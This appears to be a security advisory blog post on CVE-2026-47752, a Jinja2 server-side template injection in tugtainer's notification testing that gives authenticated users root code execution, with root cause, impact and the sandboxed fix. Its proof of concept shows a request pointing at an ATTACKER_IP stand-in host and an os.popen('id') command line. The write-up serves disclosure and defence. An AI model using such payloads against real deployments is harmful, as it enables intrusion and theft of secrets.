Post

CVE-2026-47752 – Server-Side Template Injection in tugtainer Leads to Root Remote Code Execution

A critical Server-Side Template Injection (SSTI) vulnerability in tugtainer that allows authenticated attackers to achieve root Remote Code Execution (RCE).

CVE-2026-47752 – Server-Side Template Injection in tugtainer Leads to Root Remote Code Execution

Overview

A critical vulnerability has been disclosed in tugtainer, a self-hosted container management platform. The issue, assigned CVE-2026-47752, allows any authenticated user to achieve remote code execution (RCE) as root inside the application container by exploiting a Server-Side Template Injection (SSTI) vulnerability in the notification testing feature.

The vulnerability affects tugtainer versions up to 1.28.3 and has been fixed in v1.30.2.


Vulnerability Overview

  • CVE: CVE-2026-47752
  • Severity: Critical (CVSS 3.1: 10.0)
  • Affected Versions: ≤ 1.28.3
  • Fixed Version: 1.30.2
  • Weakness: CWE-1336 – Improper Neutralization of Special Elements Used in a Template Engine
  • Attack Vector: Network
  • Privileges Required: Low (Authenticated User)

At its core, the vulnerability stems from unsafe rendering of user-controlled notification templates using an unrestricted Jinja2 environment.


Root Cause

When users test notification settings, tugtainer accepts two template fields:

  • title_template
  • body_template

These templates are rendered directly using a standard jinja2.Environment:

1
2
3
4
5
6
7
8
jinja2_env = jinja2.Environment(
    trim_blocks=True,
    lstrip_blocks=True,
    keep_trailing_newline=False,
)

_body_template = jinja2_env.from_string(body_template)
body = _body_template.render(**context)

Because jinja2.Environment is not sandboxed, template expressions can escape the intended context and access Python internals.

Instead of only formatting notification data, an attacker can execute arbitrary Python expressions.


Why This Is Dangerous

Jinja2 templates are far more powerful than simple string replacements.

Without sandboxing, template expressions can reach:

  • Python built-in functions
  • Imported modules
  • File system access
  • Process execution
  • Environment variables

A classic SSTI payload demonstrates this:


Once access to Python builtins is achieved, importing sensitive modules becomes trivial:


From there, arbitrary operating system commands can be executed.


Proof of Concept

The vulnerable endpoint accepts user-supplied notification templates.

Example payload:

1
2
3
4
5
{
  "title_template": "TEST",
  "body_template": "",
  "urls": "json://ATTACKER_IP:8000"
}

When the notification is rendered, the template executes:

1
os.popen("id").read()

The resulting notification contains the command output, confirming code execution inside the container.

This demonstrates that commands execute with root privileges inside the application container.


Potential Impact

Although exploitation requires authentication, only a regular user account is needed.

Successful exploitation may allow an attacker to:

  • Execute arbitrary operating system commands
  • Read sensitive application files
  • Access environment variables
  • Retrieve API keys and secrets
  • Read database credentials
  • Install persistent malware inside the container
  • Establish reverse shells
  • Enumerate Docker resources when /var/run/docker.sock is mounted

One particularly dangerous deployment pattern is exposing the Docker socket to containers. If available, code execution inside the container may enable an attacker to interact with the Docker daemon, potentially affecting additional containers or the host environment depending on configuration.


Remediation

The issue has been fixed by replacing the unrestricted Jinja2 environment with a sandboxed implementation.

Instead of:

1
jinja2.Environment(...)

The application should use:

1
2
3
4
5
6
7
from jinja2.sandbox import SandboxedEnvironment

jinja2_env = SandboxedEnvironment(
    trim_blocks=True,
    lstrip_blocks=True,
    keep_trailing_newline=False,
)

SandboxedEnvironment restricts access to Python internals and prevents template expressions from reaching dangerous objects such as os, subprocess, or arbitrary built-in functions.

Administrators should upgrade to tugtainer v1.30.2 or later as soon as possible.


Conclusion

CVE-2026-47752 highlights the risks of rendering user-controlled templates without proper isolation. A single insecure use of Jinja2 transformed a notification feature into a root-level remote code execution primitive.

This serves as a reminder that template engines are powerful execution environments, not merely text processors. Applications that allow user-defined templates should always employ sandboxing and carefully restrict what those templates can access.

References

This post is licensed under CC BY 4.0 by the author.